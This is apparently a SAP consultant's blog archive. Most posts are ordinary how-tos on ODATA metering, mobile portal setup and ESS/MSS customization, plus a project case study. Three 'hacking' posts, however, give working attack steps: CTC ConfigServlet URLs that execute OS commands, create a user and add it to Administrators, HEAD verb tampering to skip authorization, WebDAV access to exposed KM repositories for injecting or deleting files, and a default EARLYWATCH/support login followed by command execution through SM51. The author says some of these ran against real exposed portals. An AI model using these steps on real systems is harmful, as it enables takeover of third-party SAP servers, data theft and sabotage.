Tuesday, June 6, 2017

ODATA metrics, statistics & analysis

Intro

Usually SAPUI5 project life cycle includes different phases, starting from specifications and going through ODATA and UI development.

As projects evolve, question of usage and analytics will arise:
  • How many users do we have in our SAPUI5 application? 
  • How often do they log on and use the solution? 
  • What are the ODATA entities used during application usage? 
  • How often do users perform create & update ODATA operations?
  • Which entities were created through the SAPUI5 application?
In this short blog I will try to cover general SAP NetWeaver Gateway tools that allow us analyzing the usage & efficiency of our custom SAPUI5 developments & standard Fiori apps.

Detailed metering data

By executing report /IWFND/R_METERING_VIEW through SE38 you will be able to get all ODATA calls information by user & date range.





You can use embedded filters & sorting to try and analyze the data, in case you need to get your hands on the actual data - you can access it by going to table /IWFND/L_MET_DAT

Aggregated data


Table /IWFND/D_MET_AGR will show you 2 important metrics:

  • Usage per CRUD call (create / read / update / delete)
  • Number of active users per month
 

Table /IWFND/L_METAGR will show you aggregated data on service / month level



Application log

You can also use the application log to see errors & execution times in case you wish to analyze errors / loads of your ODATA services by launching SAP Gateway Application Log Viewer through  transaction /n/IWFND/APPS_LOG

Error log

All failed ODATA requests are written into error log, which is available through transaction /IWFND/ERROR_LOG 

Jobs behind the scene

Once you activate the SAP NetWeaver Gateway you are automatically scheduling 2 standard jobs:
  • SAP_IWFND_METERING_AGG
    This job is scheduled daily and updates the aggregation summaries
  • SAP_IWFND_METERING_DEL
    This job is also scheduled daily, it cleans up aggregation data older than 2.5 years back, and also cleans up the data from  /IWFND/L_MET_DAT on monthly level.

    In case you execute the report /IWFND/R_METERING_VIEW by 1st of the month you are going to see 0 entries, so it might be a good idea to cancel this job scheduling to collect your data.

Sunday, January 19, 2014

SAP Portal Security, lesson 2: Hacking Servlets

In my previous post we discussed portal architecture, features and mostly Knowledge Management (KM) vulnerabilities. In this post we will discuss main security mechanism embedded in the SAP Portal applications, and how we can override some of them.

*  I assume that you are familiar with basic HTTP mechanisms, POST / GET / HEAD methods, and you know that SAP Portal runs J2EE engine.

* All commands below were executed on actual SAP portal installations, which are exposed to WWW and have not been secured properly.


XML Descriptors and Invoker Servlet


Access to servlet applications deployed on SAP Portal engine are controlled by XML descriptor files. Many of those SAP standard applications have serious security breaches. Here is an example of such a descriptor file:

<?xml version="1.0" encoding="UTF-8 ?>
<web-app>
<display-name>HelloWorld Application</display-name>
<description>
This is a simple web application for Ivan's blog
</description>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>examples.Hello</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<security-constraint>
<web-resource-collection>
<web-resource-name>Restrictedaccess</web-resource-name>
<url-pattern>/hello/*</url-pattern>
<http-method>GET</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>Administrator</role-name>
</auth-constraint>
</security-constraint>
</web-app>

As you can see, the servlet above is defined for access by /hello/... URL pattern, and GET requests will be accepted from user with Administrator role assigned. In order to override these settings hackers can use InvokerServletwhich  is enabled in SAP portals by default. This servlet allows accessing other servlet methods by using structured URLs, without passing the authorization check.

The servlet above could be accessed by http://{server:port}/servlet/examples.Hello by all users, as URL pattern is not matching the rule defined in XML descriptor. 

Let's take a deeper look.


Verb Tampering


The most critical of all servlets is called CTC, which allows execution of OS commands and creation of local users. Imagine that hackers could create an administrative user in your portal, with a simple command called from their browser. 

Here is an example of such a command, executed from your browser:
/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig











Now, as I told before, CTC servlet could be used to manage users. The command below will create a user in local UME:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME={enter your user},PASSWORD={enter your password}

Hey, there is even a success message:


After creating the user, we need to add administrative permissions. Guess what, there is a command for that as well:


/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME={enter your user},GROUPNAME=Administrators

There you go, now you have an administrator account in the system.

As you see from screenshots above, we used a simple GET method to execute those commands. For cases where GET / POST methods are secured, we can use HEAD methods, which don't match the XML descriptor file. 

Tips to keep it secure


1. Make sure your system is up to date. 
2. Block direct servlet execution (for example, by SAP WebDispatcher URL filtering)
3. Install notes 1467771, 1445998, 1503579,1616259 (if relevant)

Next post will cover user secure storage and encryption, cross-site scripting (XSS) and security zone attacks.

Stay tuned :-)

Monday, December 23, 2013

SAP Portal Security, lesson 1: Hacking KM

Dear readers!

In upcoming posts about SAP Portal Security I am planning to cover common mistakes done by IT departments during exposure of SAP Portals to the world wide web. We will start with the most basic ones, and dive in to the more complicated ones, but I will try to keep it as simple as it gets.

I suggest reviewing my previous post about exposing SAP NetWeaver to the world, if you are not yet exposing your SAP Portals to the internet.

Intro

SAP portal is used in many companies as a central access point to other SAP and non-SAP applications. There are plenty of reasons to do that, such Single Sign On (SSO), ease of access, user-friendly interface and many others. SAP portals, exposed to the internet, become an attractive target for hackers and enthusiasts like myself. Potential information stored in this SAP module can be used for business intelligence by competitors, which can steal information or affect the company's image by sabotaging the system.


Architecture

Let's take a look at SAP Portal architecture. It is important to know the elements of our system, how they interact, and how they can be hacked with a bit of knowledge. Here is a basic schema from SAP documentation:

The platform behind our SAP Portal is J2EE, which operates java applications, iViews, web services, servlets, and supports many standard protocols, such as WebDAV and others. From the scheme above you can see that SAP Portal is connected to back end modules, such as ERP, CRM, BW, LDAP and SQL server. The system can be installed on Microsoft / UNIX operating systems and have different SQL servers connected through JDBC, and it is important for our future sessions.

Finding exposed SAP portals


There is a mistaken opinion that SAP portals are rarely exposed to the World Wide Web, and they are heavily secured. You can search for the following expression to see how many there are:


Lesson 1: Knowledge Management 

I would like to start our vulnerabilities discovery with the most basic portal module - Knowledge Management (KM). This module is not actively changed by SAP for many years now, and it delivers many low-level protocols and features that are rarely secured. It can become a critical access point to the system, providing access to file repositories and system storage.

Here is a basic architecture overview of portal KM from SAP documentation:

As you can see from the overview, there is WebDAV through HTTP/S. Developers or hackers with a bit on scripting can perform Denial Of Service (DOS) attacks and overload the system storage, or steal information by accessing the module even with Guest authorization.

Let's give it a try. You will be surprised how many companies are not blocking access to their KM module, thus exposing their repositories to the internet without even knowing it. Try adding /irj/go/km/docs to the portal URL you have found before, and you will be able to navigate to the KM module. Here is a live example I found:


Some companies might be holding sensitive information on their KM repositories, without really managing authorizations and access points. This mistake is very common, and I believe it is the most amateur one.

But hey, we have another great feature that is not managed properly, it's called WebDAV protocol. It's widely-used protocol for reading / writing documents on web servers, and it appears to be wrongly treated in many organizations. 

For example, you can connect many web-facing KM repositories as network drives on your PCs, simple as that:



After doing that, injecting files to remote servers becomes a copy-paste task. What's even worse - in many cases you can delete content through WebDAV, which can sabotage the company.

Tips to keep it secure

1. Use SAP WebDispatcher (or other reverse proxy) to control accessible URLs by URL filtering
2. Do not connect your server file system as KM repository
3. Maintain KM permissions properly
4. Restrict WebDAV access to sensitive folders

Next time we will dive deeper, exploring servlets and security mechanisms in SAP portal, which allow creating users, assigning them to Administrators group, and performing OS-level commands.

Stay tuned! :-)

Wednesday, May 29, 2013

How to hack your SAP environment

Greetings, dear readers!

Today I would like to share with you some thoughts about security +SAP environment. I hear people talking about security a lot, discussing GRC implementations, HTTPS protocols appliances, and other security enhancements that are targeted to improve overall security and authorizations. We all love talking about cloud solutions, mobile tools and their security, and other aspects of everyday +SAP maintenance.

How about taking it to the previous level? The steps below can be executed by any user that has SAP GUI installation, and he doesn't even require a user in SAP. Be careful with your commands...

* This post applies to Windows-based installations, with SAP BASIS component lower than EHP1, patch 10.

  1. Open your SAP GUI
  2. Double-click on one of your SAP installations (I suggest you don't touch your production environment)
  3. Log on to the system, by changing client number to 066, user EARLYWATCH, password 'support'

  4. Execute transaction SM51
  5. While in SM51, execute the command GREP

  6. Paste the line below and click "Find" - you will get full configuration of the server



    As you might understand, you can execute command prompt commands directly from SAP, without even having a user there. You can, for example, change the word 'set' in the line above to 'ipconfig', which will return you the network configuration.

    Security, huh?

Saturday, April 6, 2013

Portal On Device in 10 minutes

Intro

In our modern world, era of BYOD (Bring Your Own Device) and other weird idioms, all SAP-running companies struggle to adjust to technology changes and developments. A couple of years ago IT support would have one answer to all users - "We support only Internet Explorer". Today, the world, where users choose their own way of working and their own device, IT have no choice - the have to support Chrome, Safari, Firefox - all those that were non-SAP browsers, running on top of Macs and mobile devices, and not only Microsoft operating systems.

Let's see how SAP portal supports all this heterogeneous environment, and allows us accessing it from a mobile device. In most cases, customers have a very similar requirement - to fit a small part of portal content to mobile devices, and hide all that heavy desktop-oriented content from mobile consumers.

The approach that we will use is Portal On Device with content filtering - let's start!

Preparation

First of all, you portal version should be at least 7.30.8, or 7.31.5.

In order to see the right content on your tablet / smartphone, perform following steps in NWA:

  1. Under Java System Properties, find a service called "Portal Runtime Container Extension" and set "html5.compliant" property to "iViewDependent"

  2. Under Application Modules, find a module called "com.sap.portal.navigation.helperservice", select it's web module "navigation_events_helper", and set property "FilterbyDesktopView" to 2. Set the property "FilterByExcludedFilterIDs" to be "com.sap.portal.doNotFilter".

    All content marked with this value will not be affected by filtering mechanism.

    You can find more information about filtering entry points here



    * Restart the portal instance
  3. Go to System Administration -> System Configuration -> Portal Display -> Desktops & Display rules, and copy-paste the following SAP standard folder with tablet desktop to you custom location:

  4. Open the copied portal desktop, and add a framework page to it (by default there is no page assigned)
  5. In the same place, set the following filter ID to this desktop: "com.sap.portal.tablet". Later on, you will add this filter ID to content that you wish to expose to mobile devices.
  6. Go to System Administration -> System Configuration -> Portal Display -> Desktop & Display Rules, open main rules collection and create a new rule:



    Now you are ready to prepare some mobile-oriented roles and expose them to end users!

Set the desired content

  1. Open your current desktop in use, and add following filter ID, which will allow existing non-filtered content to remain in place: com.sap.portal.emptyFilterID
  2. Copy-paste the standard tablet role from this location:


    The role will have standard filter ID maintained, so tablet content will not be shown to desktop users.
  3. Assign the created role to relevant users through User Management
  4. Please note that this role will be filtered by portal desktop settings made during our preparation. Although you assign yourself this role, you will be able to see it's content only on your mobile device. 

    In case you receive the following screen, please make sure that you are assigned with a mobile role, and filters you added to portal desktop are not blocking the content.

Once the configuration is done, you will be rewarded with this one:


Full POD guide can be found here.

Next time we will talk about launcher & content modifications and branding applications.

Good luck!

Wednesday, March 13, 2013

ESS / MSS Customization in EHP5

Intro

As you all might already heard, SAP is going ABAP all the way, meaning Employee Self Services (ESS) are all ABAP-based, since ECC EHP5 release. Manager Self-Services remain to be ABAP+Java, at least in EHP5 version. Although customization of ESS is done on ECC side, there is a common tradition to ask your portal consultant to do that. So, if you are either an HR consultant that wants to learn the subject, or a portal one-man-show consultant, this guide will help you start!


Pre-requisites

First of all, you can find the official ESS business package documentation here, or if you are into MSS as well - you can find it here. Let's start with the requirements:

  1. Enable IGS on your ECC server, according to note 1527176
  2. Make sure you have the required ESS & MSS business content deployed & enabled on ECC 
  3. On portal side, create EHP5 system in System Landscape. Please make sure you add a system alias "SAP_ECC_HumanResources". Now test the connection. Following tests must succeed:

    Add following system aliases:
    * SAP_ECC_Common*
    * SAP_EREC_TalentManagement
    SAP_ECC_HumanResources
  4. Download following portal business content from service marketplace, and upload it to portal through JSPM / developer studio:

    * BPERPESSWDA05 – according to note 1450179
    * BPERP5MSS05 (BP ERP05 MSS 1.51)
    * BPERPCOM05 -  COMMON PARTS
    * SAP MSS 630 – MSS WD for Java applications
    * PCUI_GP 633 -  component pre-requisite WD for Java applications

    The content you downloaded for deployment will consist of the following:
  5. Download following WebDynpro Java components for MSS from service marketplace (only if you plan to use the MSS):



    * PCUI_GP
    * MSS
    * SAP_PSS (if you use project management)
  6. Create required RFCconnections in WebDynpro content administrator
  7. Assign yourself the roles provided in business content:ESS: com.sap.pct.erp.ess.wda.Employee_Self_Service_WDA
    MSS: com.sap.pct.erp.mss.manager_self_service

Launchpad Customization

Launchpad is the first screen users land on when accessing the ESS. Please follow these steps in ECC:

  1. Run LPD_CUST and select ESS MENU
  2. Copy the launchpad to ZESS
  3. Remove unrelated applications (delete or move to inactive folder)
  4. You can add your portal custom applications starting with /irj/servlet/prt/portal/prtroot/pcd!3aportal_content!2f...
  5. Change the role of launchpad to ZESS, which was created in step 2:
  6. Save and exit

ESS Customization

Here you will see example of personal info page customization.
  1. Go to SE80 and open package PAOC_ESS_PER_WDA
  2. Drill down to application configuration, and click "Start Configurator"

  3. Click "Go to component configuration" and click "Start Deep Copy
  4. Create a new package, and a new transport request, and then click "Ok"
    You will end up with a new configuration:

  5. Once your custom deep-copy component configuration is created, use Shift+F8 in order to launch the UIBB (building blocks) customization
  6. Once customized, go to LPD_CUST and set your new application configuration instead of the standard one
You can refer to SAP documentation in order to find the component package & name which you would like to customize.

* MSS Customization is still performed in the old Java-way, by launching relevant applications in Preview mode from portal Content Admin, and then Ctrl + Right click.

If you are interested in further development & support, please contact me directly.

Good luck!


Friday, January 18, 2013

SAP Portal as Mobile Gateway

Intro

This short post will give you an example of how SAP portal can provide collaboration tools with third parties. Click here to read more about collaboration through SAP Portal.

Before


This was my first mobile-oriented project, based on SAP portal. My customer (Sonol, gas station operator) was looking for a solution for insufficient workflow they had - all gas station malfunctions were processed manually by back office, interaction between all parties (gas stations, back office and technicians) was done by phone, which was unbearable. 

Gas stations had no tool to report malfunctions, technicians had no tool to process those malfunctions, and there was a back office in the middle, connecting between the two. You can imagine how inconvenient it was for everyone:
  • Reporting malfunctions took a lot of time due to back office overload
  • Assigning technicians required checking their availability and location
  • Technicians' inventory was hardly maintained

After

The tool chosen for a end-to-end solution was SAP portal (Java WebDynpro applications), while system core is based on SAP ERP (CS module). Final solution included: 
  1. Portal-based back office application to map service requests to technicians, monitor open requests and process them if needed
  2. Convenient mobile application for personnel in the field
Integration of these components provides a perfect solution for all Customer Support requirements.

One of project goals was to provide a system convenient enough to be used by everyone without any training, without being familiar with SAP transactions and procedures, altogether with utilization of CS functionality embedded in the SAP ERP system. Nowadays the system allows the company to control all ongoing technical support routines.

Here is a general scheme of solution workflow:



Added values gathered as a result:
  • Fast response time, and better Customer Support as a result
  • More accurate problem descriptions, and faster malfunction resolutions as a result
  • Control over inventory used by technicians in the field
  • Work processes transparency and optimization
  • On-line accurrate documentation
  • Ability to fit SLA
  • Strengthening the connection between involved parties

Vision

As part of portal upgrade and Portal On Device features, we are planning to add more functionality and improve the solution with new features. Subscribe to get updates about upcoming innovations, or contact me directly.

Short description (EN) at our company web site: click here
Project overview (HE) at People & Computes web site: click here